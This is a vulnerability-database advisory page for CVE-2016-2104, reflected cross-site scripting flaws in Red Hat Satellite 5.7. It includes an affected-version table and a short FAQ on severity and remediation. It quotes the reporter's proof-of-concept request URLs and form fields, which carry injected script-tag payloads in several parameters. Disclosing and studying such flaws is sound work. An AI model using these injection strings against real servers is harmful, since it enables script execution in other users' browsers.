CVE-2016-2104: XSS
First published: Mon Feb 08 2016(Updated: )
Adam Willard reports the following XSS flaws in Satellite 5: /rhn/admin/BunchDetail.do?label=cobbler-sync-bunch"<script>alert(1)</script> /rhn/software/packages/NameOverview.do?package_name=sac">Test<script>alert(1)</script>&search_subscribed_channels=yes&channel_filter=539 /rhn/software/packages/NameOverview.do?package_name=sac">Test<script>alert(1)</script>&search_subscribed_channels=yes&channel_filter=539 /rhn/software/packages/NameOverview.do?package_name=sac">Test<script>alert(1)</script>&search_subscribed_channels=yes">test<script>alert(2)</script>&channel_filter=539"><script>alert(3)</script> <input type="hidden" name="package_name" value="sac">Test<script>alert(1)</script>" /> <input type="hidden" name="search_subscribed_channels" value="yes">test<script>alert(2)</script>" /> <input type="hidden" name="channel_filter" value="539"><script>alert(3)</script>" />
Credit: secalert@redhat.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| Red Hat Network Satellite Server | =5.7 |
Never miss a vulnerability like this again
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
Reference Links
Frequently Asked Questions
What is the severity of CVE-2016-2104?
CVE-2016-2104 has been assigned a medium severity rating due to the potential for cross-site scripting (XSS) attacks.
How do I fix CVE-2016-2104?
To fix CVE-2016-2104, you should apply the security updates provided by Red Hat for Satellite 5.7 as detailed in the official advisory.
What type of vulnerability is CVE-2016-2104?
CVE-2016-2104 is a cross-site scripting (XSS) vulnerability affecting Red Hat Satellite 5.7.
Which software versions are affected by CVE-2016-2104?
CVE-2016-2104 affects Red Hat Satellite version 5.7.
Can CVE-2016-2104 be exploited remotely?
Yes, CVE-2016-2104 can potentially be exploited remotely by sending specially crafted requests to the affected Satellite server.
- agent/references
- agent/type
- agent/softwarecombine
- agent/first-publish-date
- collector/mitre-cve
- source/MITRE
- agent/severity
- agent/last-modified-date
- agent/author
- agent/description
- agent/event
- collector/redhat-bugzilla
- source/Red Hat
- alias/CVE-2016-2104
- agent/weakness
- agent/trending
- agent/source
- agent/tags
- collector/nvd-index
- agent/software-canonical-lookup-request
- vendor/redhat
- canonical/red hat network satellite server
- version/red hat network satellite server/5.7